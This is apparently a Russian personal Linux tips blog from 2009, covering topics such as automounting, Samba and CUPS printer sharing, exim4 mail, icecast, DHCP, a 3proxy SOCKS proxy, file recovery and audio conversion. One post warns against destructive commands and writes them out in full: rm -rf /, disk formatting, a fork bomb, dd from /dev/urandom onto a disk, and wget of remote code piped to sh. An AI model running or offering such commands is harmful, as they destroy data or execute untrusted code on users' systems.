понедельник, 21 декабря 2009 г.

Действие при автомонтировании устройств

Например при монтировании фотоаппарата копировать фотографии в домашний раздел
при монтировании dvd - открывать просмотр dvd
и так далее чего только пожделаете
Что бы это работало нужно (это только один из вариантов):
1. Установить ivman
2. Узнать uuid устройства, его можно подсмотреть вызвав hal-device или его гуи версию hal-device-manager и найти там параметр volume.uuid
3. Добавить правило монтирования для устройства
В файле /etc/hal/fdi/policy/preferences.fdi
Добавить следующее:

<device>
<match key="volume.uuid" string="uuid_вашего_устройства">
<merge key="volume.policy.desired_mount_point" type="string">Точка_монтирования
</match>
</device>

Это правило определяет точку монтирования для определенного устройства
4. Посмотреть параметр usb_device.product и добавить правило в файл ~/.ivman/IvmConfigActions.xml
<ivm:Match name="hal.usb_device.product" value="DIGITAL CAMERA">
<ivm:Option name="exec" value="sleep 3; cp /media/Точка монтирования/DCIM/101IMAGE/*.JPG /home/username/Фотки -u" />
</ivm:Match>

При монтировании устройства "Digital camera" будет выполнятся копирование.
Аналогично можно поступить с любым монтируемым устройством и назначить любое действие

вторник, 8 декабря 2009 г.

opera проблема ebay

страницы cgi.ebay.com отображаются в опере с большим пустым пространством, что очень неприятно и неудобно.

Есть решение:
1. создать директорию Opera scripts
2. создать в этой директории файл ebay javascript.user.js
следующего содержания:

пятница, 4 декабря 2009 г.

Расшарить принетр ubuntu

1. Можно это сделать в самбе

в конфиге /etc/samba/smb.conf
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
public = no
writable = no
create mode = 0700

[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no


2. Можно и без самбы дать доступ на принтер
нужно разрешить удаленную печать в админке cups'a
"Share published printers connected to this system"

Скопировать имя принтера из /etc/cups/ppd

И при установке - указать что это интерент принетр, в Windows это
"Подключится к принтеру в интеренете"
http://ip_линукс_машины:631/printers/имя_принтера

В Linux установить принетр по протоколу ipp
sudo echo 'ServerName ip_или_имя_машины_с_cups' > /etc/cups/client.conf

воскресенье, 29 ноября 2009 г.

email, icq, sms c сервера

Настройка системы и написание скриптов для отправки сообщений с сервера на email, icq, sms


Статья про jabber уведомления тут

email
для того, чтобы получать письма с вашего копьютера, настроим exim4.
для этого также подойдет sendmail, но он по сложнее в настройке, а для отправки сообщений вполне хватит и exim4.

Настройка exim4
dpkg-reconfigure exim4-config
На вопрос о разбивке конфигурации на несколько файлов ответить ДА
создастся файл /etc/exim4/exim4.conf.localmacros в котором нужно написть
MAIN_TLS_ENABLE = true
Редктируем файл /etc/exim4/passwd.client
gmail-smtp.l.google.com:username@gmail.com:password
*google.com:username@gmail.com:password
smtp.gmail.com:username@gmail.com:password
После этого снова делаем
dpkg-reconfigure exim4-config
И проверим настройки, в файле /etc/exim4/update-exim4.conf.conf
Должно быть следующее:

воскресенье, 15 ноября 2009 г.

Редактирование, автодобавление ID3 тегов

Часто встречаются музыкальные записи, без ид'тегов, и хочется их добавить для удобства прослушивания, но савсем не хочется тратить на это время.
Возникла идея автоматизировать этот процесс
1 вариант - когда название файла и есть название трека
2 вариант - когда название файла типа "track 1", но название копозиций можно узнать
Начнем:
для начала, чтобы не забыть метод запуска скрипта, делаем ему справку
теперь вызвав скрипт ~/addtag --help можно будет посмотреть как запускать.

Автоматизация скачивания торрентов

Очень мне хотелось, чтобы новые серии любимых сериалов закачивались автоматически, а мне оставалось только их просмотреть =)

Ниже преведен пример реализации этой задачи, его можно модернизировать использую curl для авторизации на торренте либо использовать куки, у меня пока не получилось. Поэтому использую поиск по рсс ленте торрента, скачиваю торренты, и редактирую их, вставляю свой uid в торрент файл.

Для того чтобы авторизованно захадить и скачивать торрент файлы с трекеров, можно воспользоватся кукисами, тогда строка wget будет иметь вид
wget -nc --append-output=download_torrents.txt --load-cookies=cookies.txt --content-disposition http://host?id=654321&key=123456

получить погоду с nepogoda.ru

Гисметио замучал: перехожу на nepogoda.ru
вывод в коньках можно взять с прошлой статьи, и подправить если нужно
В результате должно получится так:









Получаем погоду для выбранного города
#!/usr/bin/php
Проходим циклом по всей ленте и разбиваем получаемые данные по массивам
$i=0;

foreach ($rss->channel->item as $item) {
$masstitle[] = $item->title;
$massdesk[] = $item->description;

$citydate[] = explode(":", $masstitle[$i][0]);
$new[] = array_reverse(explode(", ", $massdesk[$i][0]));

$tmp_citydate[] = explode(",", $citydate[$i][1]);
$tmp_citydate2[] = explode(" ", $tmp_citydate[$i][1]);
$tmp_citydate2[$i][0] = $tmp_citydate[$i][0];

$tmp_month[] = explode(".", $tmp_citydate2[$i][1]);
$i++;
}
Для приятного отображения месяцев создаем массив месяцев

вторник, 20 октября 2009 г.

incron - запуск программ по событиям файловой системы

Создаем скрипт, который будет сортировать файлы по расширению, и производить над ними необходимые действия
#!/bin/bash
DIR=/home/userhome
{
echo "File: $i"
case "$1" in
*.avi| *.flv| *.vob| *.mpg)
mv -v "$DIR/$1" $DIR/Видео
;;
*.png| *.jpg| *.gif)
mv -v "$DIR/$1" $DIR/Картинки
;;
*.doc| *.odt| *.ods| *.html| *.htm| *.chm| *.djvu| *.pdf)
mv -v "$DIR/$1" $DIR/Документы
;;
*.txt)
/home/username/scripts/dos2unix "$DIR/$1"
mv -v "$DIR/$1" $DIR/Документы
;;
*.zip| *.rar| *.tar| *.bz2| *.gz| *.tgz| *.deb| *.7z)
mv -v "$DIR/$1" $DIR/Архивы
;;
*.mp3| *.ogg)
mv -v "$DIR/$1" $DIR/Музыка
;;
*.torrent)
mv -v "$DIR/$1" $DIR/torrents/watch
if ps aux | grep rtorrent | grep -v grep > /dev/null
then echo "Ужу запущен"
else
rtorrent
fi
;;
*.pl| *.py| *.sh)
mv -v "$DIR/$1" $DIR/scripts
;;
*)
echo "- None"
;;
esac
} &> /tmp/download_sort.log
Запускаем incrontab -e
пишем правило, котрое будет проверять заданную директорию на наличие действий в ней, например при создании файла в домашней директории, будет запускатся скрипт сортировки
/home/username IN_CREATE /home/username/scripts/download_sort $#
Подробно http://inotify.aiken.cz

Запись dvd в консоле

Потребуется устанавить: growisofs - запись dvd, и dvd+rw-tools - для форматирования dvdrw
sudo aptitude install dvd+rw-tools

Отформатировать dvdrw:
dvd+rw-format -force /dev/hda

Запись dvd:
growisofs -dvd-compat -input-charset=ISO-8859-1 -Z /dev/hda -R -J -pad "/directory/date"

Запись двух директорий на диск с переименованием их на диске. С продолжением сессии (-Z)
growisofs -dvd-compat -input-charset=ISO-8859-1 -Z /dev/hda -R -J -pad -graft-points "/dir1=/my/ directory/datas1" "/otherdir=/my/directory2/content"

Запись с мультисессией (используется параметр -M)
growisofs -dvd-compat -input-charset=ISO-8859-1 -M /dev/hda -R -J -pad -graft-points "/ morecontent=/my/new/dir"

выброс диска из лотка
eject

подробно man growisofs

легкий софт

xfburn - CD писалка
epdfview - PDF просмотрщик
kazehakase - Web броузер (gecko)
epiphany - Web броузер
sylpheed - Почтовый клиент
claws-mail - Почтовый клиент
sakura - Терминал
leafpad - Текстовый редактор
mirage - просмотрщик изображений
gthumb - Просмотрщик изображений с возможностью редактировая
abiword - Текстовый процессор
gnumeric - Табличный процессор
openbox-logout - Скрипт завершения работы для опенбокса (выключение, перезагрузка, Завершение сеанса)
pcmanfm - Файловый менеджер с вкладками
eiskaltdc - Форк valknut

ivman - утилита для автомонтирования
finch - Консольный icq клиент
w3m - Консольный Web броузер
irssi - Консольный IRC клиент
feh - Консольный просмотрщик изображений
mpd(mpc(ncmpc)) - Консольный медиаплеер
mplayer - Медиа плеер
rtorrent - Консольный Bittorrent клиент
microdc2 - Консольный dc++ клиент
mid3v - консольная утилита для редактирования mp3 тегов
dvd+rw-tools, growisofs - Консольная утилита для записи dvd
xneur - Утилита автоматической смены раскладки клавиатуры
xxkb - Утилита для сохранения раскладки клавиатуры в различных приложениях

среда, 14 октября 2009 г.

Автомонтирование и монтирование в pcmanfm

Для автомонтирования cd, usb, floppy есть несколько решений:
1 - Ivman
установив ivman автомонтирование будет работать изкаробки =)
sudo aptitude install ivman
2 - autofs
после установки необходимо покапатся в конфигах
sudo aptitude install autofs

понедельник, 12 октября 2009 г.

вторник, 29 сентября 2009 г.

/w в Valknut (mpd & mplayer)

Создаем скрипт
#!/bin/sh
if ps aux | grep mplayer | grep -v grep > /dev/null
then
var=`cat mplayer.log | grep ICY | cut -d \; -f 1| cut -d = -f 2 | cut -d \' -f 2 | tail -1`;
echo "mplayer playing now: $var";
else
var2=`mpc | grep ' - '`;
echo "mpd playing now: $var2";

в настройках valknut в разделе commands добавляем команду
имя команды команда
/w sh /путь/до/скрипта

Этот же скрипт можно использовать и в коньках=)

четверг, 10 сентября 2009 г.

mplayer в conky

Создаем скрипт mplayer.sh

#!/bin/sh
mplayer -quiet $1 > mplayer.log 2>&1
rm mplayer.log


Далее необходимо запускать этот скрипт вместо mplayer'a

например так:
mplayer.sh http://www.sky.fm/mp3/world.pls
весь вывод будет идти в файл mplayer.log, далее ищем в файле нужную строку(нужные строки) и выводим в коньки
На примере радио это выглядет так:

${execi 60 cat mplayer.log | grep ICY | cut -d \; -f 1| cut -d = -f 2 |cut -d \' -f 2 | tail -1}

среда, 19 августа 2009 г.

icecast2 Трансляция/Ретрансляция радио howto

Делаем радио для трансляции в сеть того что слушаем и для ретрансляции интернет радио
Установим icecast2
sudo aptitude install icecast2
Открываем конфиг sudo gedit /usr/share/icecast2/icecast.xml
<icecast>
<limits>
<clients>10</clients>
<sources>2</sources>
<threadpool>5</threadpool>
<queue-size>524288</queue-size>
<client-timeout>30</client-timeout>
<header-timeout>15</header-timeout>
<source-timeout>10</source-timeout>
<burst-on-connect>1</burst-on-connect>
<burst-size>65535</burst-size>
</limits>

<authentication>
<source-password>password</source-password>
<relay-password>password</relay-password>

<admin-user>admin</admin-user>
<admin-password>password_admin</admin-password>
</authentication>
Если собираетесь публиковать информацию о аудио-потоках вашего сервера в icecast2 YP каталогах, то следующий раздел вам в этом поможет -->

Добавление ключей к репозитарию

Если видим ошибку - NO_PUBKEY 010908312D230C5F
То необходимо добавить ключ:
gpg --keyserver pgpkeys.mit.edu --recv-key 010908312D230C5F
gpg -a --export 010908312D230C5F | sudo apt-key add -

а далее обновляем
aptitude update

вторник, 18 августа 2009 г.

mpd mpc ncmpc

MPD это Music Player Daemon, мультимедиа-плейер, основанный на клиент-серверной архитектуре, работает в фоновом режиме. Для взаимодействия с сервером предназначены клиенты, с помощью которых непосредственно и происходит управление сервером.

Установка
aptitude install mpd mpc ncmpc
Редактируем конфиг
nano /home/userhome/.mpd.conf

понедельник, 17 августа 2009 г.

Настройка dyndns, домашний хост

Хочется иметь постоянный домашний интернет адрес, а ip динамический - есть выход dyndns =)

Регестрируемся на сайте dyndns.org, регестрируем себе ДНС
устанавливаем ddclient
а далее внесем некоторые настройки в файл /etc/ddclient/ddclient.conf
# Configuration file for ddclient generated by debconf
#
# /etc/ddclient.conf
#deamon=300
pid=/var/run/ddclient.pid
protocol=dyndns2
use=web, web=dyndns
wildcard=yes
server=members.dyndns.org
login=логин, указанный при регистрации в dyndns.org
password=пароль
ваше днс имя, например user.homeip.net


sudo /etc/init.d/ddclient start

в последствии ddlcient будет запускаться автоматически, и будет обновлять ваш ip адресс на сервере.

пятница, 14 августа 2009 г.

ТВ программа в Меню и notify_send


Программа с Яндекса, отображает несколько программ в ближайший час
Файл tv.php
#!/usr/bin/php
 ?php
$file = implode("",file("http://tv.yandex.ru"));

preg_match_all('/(? = span class="location">Телеканал ).*(?= \/span>)/',$file, $matches3);
preg_match_all('/(? =id=\d\d\d\d\d\d\d\d">)[0-9][:][0-9][0-9]|[0-9][0-9][:][0-9][0-9](?= \/a>)/',$file, $matches1);
preg_match_all('/(? = \/span> span class="summary">).*(?= \/span> span class="location">)/', $file, $matches2);

for($i=0; $i count($matches1[0]); $i++)
{
if($matches1[0][$i]  = 9) {$tim = "0".$matches1[0][$i];}
else $tim = $matches1[0][$i];
$text = $text.$tim." - ".$matches3[0][$i]." - ".strip_tags($matches2[0][$i])."\n";
}

//echo $text;
$fil = fopen("tv.txt","w+");
$fw=fputs($fil,$text);
fclose($fil);
?>
Файл tv.sh - который положим в меню
#!/bin/bash
if ping -c 1 62.148.128.1 | grep '64 bytes'> /dev/null
then
php tv.php
fi
cat tv.txt | grep `date +%H:` |cut -d = -f 1 >>tv_sort.txt
notify-send "Сейчас по ТВ" "`cat tv_sort.txt`" -t 16000 -i /путь/до/файла/иконки
rm tv_sort.txt &

ТВ программа для кабельного, с сайта www.nsk.tvoe.tv, с возможностью установки нужных каналов:

воскресенье, 24 мая 2009 г.

Получить погоду с gismeteo.ru

1 Вариант - получать погоду стандартными методами conky rss
${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_title 0} - ${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_desc 01}
${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_title 1} - ${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_desc 1}
${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_title 2} - ${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_desc 2}
${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_title 3} - ${rss http://informer.gismeteo.ru/rss/99837.xml 45 item_desc 3}

2 Вариант - парсить xml, и выводить нужные данные строкой


В результате должно получится так:



воскресенье, 17 мая 2009 г.

Расшарить интернет в сеть

Устанавливаем пакеты ipmasq, dnsmasq
sudo aptitude install dnsmasq ipmasq
Настраиваем интерфейсы, внешний - получаем у провайдера, для внутреннего указываем статический ip 192.168.0.1 c маской 255.255.255.0, и поднимаем соединение с интернетом

Редактируем конфиг dnsmasq
nano /etc/dnsmasq.conf
Раскоментируем строчки:
interface=eth0 #Внутренний интерфейс
dhcp-range=192.168.0.10,192.168.0.150,255.255.255.0,12h
Конфигурируем ipmasq
dpkg-reconfigure ipmasq
#включаеся запуск ipmasq после поднятия сетевых интерфейсов

dhcp установка настройка

Для начала установим dhcp3-server
sudo aptitude install dhcp3-server

Далее открываем конфиг любым текстовым редактором
sudo nano /etc/dhcp3/dhcpd.conf

редактируем
#Общие настройки
ddns-update-style none;
option domain-name "example.local";
#Указываем ДНС сервера. Если в сети установлен днс сервер, то указываем его адрес, либо пишем через запятую ДНС адреса провайдера
option domain-name-servers 192.168.0.253, 192.168.0.254;
#Время аренды ip адреса по умолчанию и максимальное время ( неделя и десеть суток)
default-lease-time 604800;
max-lease-time 864001;


Указываем подсеть
subnet 192.168.0.0 netmask 255.255.255.0 {
#Адрес net-bios сервера, если нет, то закоментируем
option netbios-name-servers 192.168.0.253;
#указываем Днс адреса, которые хотим транслировать каждому в нашей сети
option domain-name-servers 192.168.0.253, 192.168.0.254;
#Указываем доменное имя
option domain-name "example.com";
#Широковещательный адрес
option broadcast-address 192.168.200.255;
#Адрес Шлюза, передаваемого в сеть (ip адрес dhcp сервера в сети)
option routers 192.168.0.1;
#Диапазон ip адресов выдаваемых сервером
range 192.168.0.10 192.168.0.250;
}


#Можно указать несколько подсетей, конечно если они имеются ))

Все, сохраняем и запускаем сервер

/etc/init.d/dhcp3-server start

суббота, 16 мая 2009 г.

rsync синхронизация файлов

rsync — программа, которая выполняет синхронизацию файлов и каталогов в двух местах с минимизированием трафика, используя кодировку данных при необходимости. Важным отличием rsync от многих других программ/протоколов является то, что зеркалирование осуществляется одним потоком в каждом направлении (а не по одному или несколько потоков на каждый файл). rsync может копировать или отображать содержимое каталога и копировать файлы, опционально используя сжатие и рекурсию.
rsyncd — демон, реализующий протокол rsync. По умолчанию использует TCP порт 873.

Опции rsync
-v -выводит имена обрабатываемых файлов;

-a -работа в режиме архивирования, сохраняются права доступа и информация о владельцах;

-H - сохранять жесткие ссылки, оставляя их на другом конце бэкапа;

-x - не выходить за пределы текущей точки монтирования;

--progress - показывать сколько процентов осталось до завершения и скорость передачи;

--delete - удалять из бэкапа файлы, которых уже нет на стороне источника. --delete отличается от

--delete-after тем, что удаление производится вначале,а не на завершающей стадии процесса бэкапа. --delete-after работает быстрее, так как не требует лишней стадии обхода списка файлов, но требует использования опции --force для обработки таких ситуаций как удаление файла и появление диретории с тем же именем;

--delete-excluded - удалять части которые уже есть на стороне бэкапа, но появились в списке исключения;

-n - режим тестирования, реально никаких действий по копированию не производится, только эмуляция;

-c - использование сверки по контрольным суммам, а не по времени изменения и размеру;

Архивирование/разархивирование в консоле

Архив RAR
устанавливаем
sudo aptitude install unrar rar
Для упаковки директории в архив пишем:
rar a new_arhiv.rar /Директория/которую/архивируем
Для распаковки
unrar new_arhiv.rar
Архив ZIP
устанавливаем
sudo aptitude install zip
Для упаковки директории в архив пишем:
zip -r new_arhiv.zip /Директория/которую/архивируем
Для распаковки
unzip new_arhiv.zip
Архив TAR
Для упаковки директории в архив пишем:
tar -cvf new_arhiv.tar /Директория/которую/архивируем
Для распаковки
tar -xfj arhiv
tar -xvf arhiv.tar

суббота, 9 мая 2009 г.

Установка socks proxy - 3proxy

качаем 3proxy
wget http://3proxy.ru/0.5.3j/3proxy-0.5.3j.tgz
распаковываем
tar -zxf 3proxy-o.5.3j.tgz
компилируем из исходников
make -f Makefile.unix
создаем простейший конфигурационный файл
cd src
nano config.cfg
daemon
auth strong
socks -p8888
users login:CL:password
log /dev/null
запрещаем порты, и разрешаем остольные
deny * * * 25,80-88,443,1080,3128,8080-8088
allow * * * *
proxy -n
либо только разрешаем, например icq, dc
allow * * * 5190,411
proxy -n
запускаем
~/src/./3proxy config.cfg
На порту 8888 откроется socks5, с логином для авторизацией login и паролем password
все)

полезные ссылки по теме с более подробной настройкой

http://ihtiandr.info/unix/1-unix/103-3proxy-configuration-file.html
http://www.lissyara.su/?id=1734

UPD.
Описал настройку портмаппинга для pop3 и smtp Читать

четверг, 7 мая 2009 г.

Смена кодировки текстового файла

пишем скрипт mode.sh
#!/bin/sh
dir=путь_до_папки_с_файлами
for i in $dir/*
do
if [ -f $i ]
then
cp $i $i.utf
iconv -f cp1251 -t utf-8 $i -o $i.utf
mv $i.utf $i
fi
done
для того чтобы наш скрипт работал с подкаталогами, изменяем 3ю строку
for i in `find $dir -name '*.*'
и выполняем
sh mode.sh

ape,wv,flac конвертация, разбить на треки

часто приходится сталкиватся с музыкой в lossles, обычно она идет в виде одного файла, что мне не нравится. а в случае с *.ape так вообще возникают проблемы с проигрыванием, нужно плагины для плееров качать, да и формат этот проприетарный =)

Для того чтобы сконвертировать ape в flacпонадобится пакаты mac и flac:
качаем пакет mac
wget http://members.iinet.net.au/~aidanjm/mac-3.99-u4_b3-1_i386.deb

и устанавливаем
sudo dpkg -i mac-3.99-u4_b3-1_i386.deb

пакет flac ставим из репозитария
sudo aptitude install flac

и конвертируем
так
mac sample.ape - -d | flac -o sample.flac -

или так
for i in *.ape; do mac “$i” - -d | flac -o “${i%*.ape}.flac” -; done


Можно также установить пакет shntool
sudo aptitude install shntool

и конвертировать с его помощью
shntool conv -o flac *.ape


Но при этом осталась одна проблема, файл как был один, так и остался, а нам нужно чтобы треки были, делаем треки! нам понадобится пакеты: cuetools shntool wavpack
Устанавливаем
sudo apt-get install cuetools shntool wavpack

а теперь режем ape или flac
cuebreakpoints sample.cue | shnsplit -o flac sample.flac

или режем wv
cuebreakpoints *.cue | shnsplit -a split-track *.wv -o 'flac flac --best - -o %f'

Разрезанные файлы будут иметь вид:
split-track01.flac, split-track02.flac
в мане описана опция, которая позволяет именовать файл из cue

-t fmt  name output files in user-specified format based on CUE sheet fields.
          (%p = performer, %a = album, %t = track title, %n = track number


опять нам не удобно, ведь теги не перенеслись. Для переноса информации в теги используем cuetag,которые идет в комплекте с cuetools
cuetag файл_данных.cue split-track*.flac
Конвертация flac в mp3

Установка lame

aptitude install lame

Для потоковой обработки всех файлов с расширением .flac в текущем каталоге я наваял следующий shell-скрипт:

#!/bin/sh


for flac in *.flac;
do
mpeg=`echo $flac | cut -f1 -d.`.mp3
cat "$flac" | flac -d -c - | lame --cbr -b 192 - - | cat - > "$mpeg"
done

Скрипт взят с сайта http://vladimir-stupin.blogspot.com/2008/08/flac-mp3-debian.html

а теперь слушаем =)
упомяну также некоторые Gui программки для конветации музыки
WinFF - гуевина для ffmpeg - конвертить не только музыку но и видео =)
soundKonverter
скрипт конвертации ape в cue
http://www.linux.org.ru/view-message.jsp?msgid=3523438#comment-3524994

Полезные скрипты
http://foss-blog.ru/?p=576

среда, 22 апреля 2009 г.

Сборка из исходныв кодов в ubuntu

Общая схема
./configure
make
sudo make install
Установка в пользовательский каталог
./configure --prefix=/home/$USER
Если ./configure вывела вам сообщение о недостаче заголовочного файла Xlib.h, воспользуйтесь командой
auto-apt search Xlib.h
Она ответит вам следующим:
usr/include/X11/Xlib.h libdevel/libx11-dev
Это обозначает, что нужный вам файл содержится в пакете libx11-dev, относящемся к категории libdevel (пакеты для разработки) и после установки пакета (sudo apt-get install libx11-dev) будет лежать по адресу usr/include/X11/Xlib.h

Есть ещё более простой путь вызова ./configure, который сам предложит вам установить все необходимые пакеты
auto-apt run ./configure
./configure
make
sudo checkinstall
checkinstall проверяет, что и как хочет сделать команда make install, а потом собирает по полученным сведениям deb-пакет и устанавливает его в систему (то есть, для удачного выполнения этой команды ей так же нужны права суперпользователя). Благодаря этому, вы сможете потом легко удалить ненужное вам более приложение, используя например Synaptic.


Подробно тут
rotuka.com/

четверг, 9 апреля 2009 г.

Консоль на рабочем столе

это очень просто)
понадобится gnome-terminal и alltray
sudo apt-get install alltray
alltray --show --sticky --skip-taskbar -x -g +4+44 gnome-terminal --window-with-profile=desktop

описание тут http://linuxopen.ru/2008/07/22/terminal-na-rabochem-stole-da-legko.html

xfce4-terminal --geometry=86x28+10+10
и в параметрах убрать показ скрола, меню

среда, 8 апреля 2009 г.

Компиляция ядра

Скачиваем архив с исходниками последнего стабильного ядра с http://www.kernel.org/ (2.6.29.1 полную версия, размер архива 50Mb)

Установить пакеты:
sudo apt-get install build-essential kernel-package libncurses5-dev libc6-dev qt3-apps-dev
Даем права на папку /usr/src пользователю
sudo chown -R mike /usr/src
Копируем исходники ядра в /usr/src
cp ~/linux-2.6.29.1.tar.bz2 /usr/src
Разархивируем архив
cd /usr/src
tar -xjf linux-2.6.29.1.tar.bz2

воскресенье, 5 апреля 2009 г.

foremost - Восстоновление данных

Взято http://linux.die.net/man/1/foremost

Recover files from a disk image based on headers and footers specified by the user.

-h - Показать справку
-V - Показать информацию об авторских правах
-d - Turn on indirect block detection, this works well for Unix file systems.
-T - Time stamp the output directory so you don't have to delete the output dir when running multiple times.
-v - Подробная информация о программе
-q - Быстрый поиск, ищутся файлы с длинными заголовками, может пропустить файлы. неподходит для NTFS
-Q - Скрытый режим, подавление большинства сообщений об ошибках
-w - только поиск файлов, ничего не восстановит
-a -
-b number
Allows you to specify the block size used in foremost. This is relevant for file naming and quick searches. The default is 512. ie. foremost -b 1024 image.dd

Что не нужно выполнять в linux

Первая и самая известная команда: rm -rf /. Введенная от имени суперпользователя, рекурсивно удалит все файлы.

Намного быстрее форматирование: mkfs.ext3 /dev/sda. Эта команда уничтожит все файлы на диске /dev/sda.

Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли :(){:|:&};: и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.

Следующая команда портит жесткий диск /dev/sda: любая_команда > /dev/sda. Если вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.

Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений: wget http://некоторый_вредоносный_код -O- | sh

Шестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null

И последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sda. В этом случае диск заполняется случайными данными.

Восстановление данных - Scalpel

взято от сюда - http://www.digitalforensicssolutions.com/Scalpel/

Scalpel — это средство быстрого восстановления файлов. Уникальность данного ПО заключается в том, что оно не зависит от файловой системы. Программа ищет по базе данных начало и конец файлов известных форматов и пытается найти их на диске. Поэтому, восстановление возможно как с FATx, NTFS, ext2/3, так и с "голых" (raw) разделов.
apt-get install scalpel
Затем необходимо указать в файле /etc/scalpel/scalpel.conf типы файлов, которые Scalpel будет искать. По-умолчанию, все типы закомментированы.

Далее необходимо дать команду на восстановление:
scalpel /dev/sda1 -o output
Опция "-o" задает директорию, куда надо поместить восстановленные файлы. После окончания работы в директории output будет создан, в том числе, файл audit.txt, содержащий отчет.

Samba конфиг

Хорошая статья по Samba http://linuxforum.ru/viewtopic.php?id=3062

[global]
netbios name = neon
#netbios aliases = parazit
interfaces = 192.168.10.22/255.255.252.0
display charset = UTF8
#printing = lprng
domain master = false
load printers = no
preferred master = true
max connections = 5
max open files = 1000
max smbd processes = 10
# root preexec = /check_smbclient_shares.sh
unix charset = UTF8
security = SHARE
local master = no
min passwd length = 0
null passwords = yes
log file = /var/log/samba/%m.log
dead time = 1
server string = TTLx7
max log size = 5000
hosts allow = 192.168.10., 192.168.8.
dos charset = cp866
#cp866
os level = 35
template homedir = /home/%D/
dns proxy = no
workgroup = AVT_DOMAIN
encrypt passwords = yes
socket options = IPTOS_LOWDELAY TCP_NODELAY
debug level=1
level2 oplocks = true
read raw = no
hosts deny = all,192.168.8.185

Flash disk read only?

столкнулся с проблемой, после нескольких манипуляций с флешкой, (форматирование, разбиение на
раздлы), она стала ReadOnly и всяческое форматирование не помогало, не завершалось, с ошибкой flash Read only..

вот несколько программ, которые помогли оживить флешку:
JetFlash Recovery лучшая! именно она и помогла =)
Flashnul 1rc dos програмка, всевозможно тестирует
HP windows format utilite

понедельник, 23 марта 2009 г.

Linux Advanced Routing & Traffic Control HOWTO

Весь материал взят с сайта http://gazette.linux.ru.net


4.2. Маршрутизация через несколько каналов/провайдеров.

Ниже представлена обычная конфигурация, когда локальная сеть (или даже одна машина)
подключена к Internet через двух провайдеров.

вторник, 3 марта 2009 г.

Получаем телепрограмму

Скрипт скачки телепрограммы tv.sh
#!/bin/bash
if [ -f "/home/simpson/scripts/tv/index.html"]
then
rm ~/scripts/tv/index.html
# rm ~/scripts/tv/tv.html - если вывод в файрфокс
fi
wget -E -P ~/scripts/tv http://tv.yandex.ru

php ~/scripts/tv/tv.php
for chanal in Первый Россия Центр НТВ Культура Спорт ТНТ Домашний РЕН СТС ТВ3 ДТВ Звезда
do
echo $chanal
cat ~/scripts/tv/tv.txt | grep $chanal | grep `date +%H`| cut -d = -f 1
#Для удобства, можно в файрфокс вывести
#echo "<META HTTP-EQUIV='Content-Type' CONTENT='text/html; charset=utf-8'>"
#echo "
" $chanal "
"
#cat /home/simpson/scripts/tv/tv.txt | grep $chanal | cut -d = -f 1
#echo "
"

#done > ~/scripts/tv/tv.html
#firefox ~/scripts/tv/tv.html

done

живем без иксов

всевозможные програмки, облегчающие нам жизнь в консоли
http://forum.ubuntu.ru/index.php?topic=39203.0

microdc | microdc2 - консольный dc++ клиент
rtorrent - консольный клиент торрента
centericq - аська
elinks, links, lynx - веб броузеры
wget - качалка
mplayer, mpd+nmnpc - плееры

как свернуть программу в трей

Для установки alltray наберите:

sudo apt-get install alltray


Установленную программу можно найти в меню "Программы" - "Стандартные". Запустим ее. Появится окно, в котором нам будет предложено выбрать приложение, которое необходимо поместить в трей. Выбор осуществляется нажатием "мышки" в окне нужной программы.

с консоли - alltray Программа -s

firefox можно сворачивать в трей установив дополнение - firetray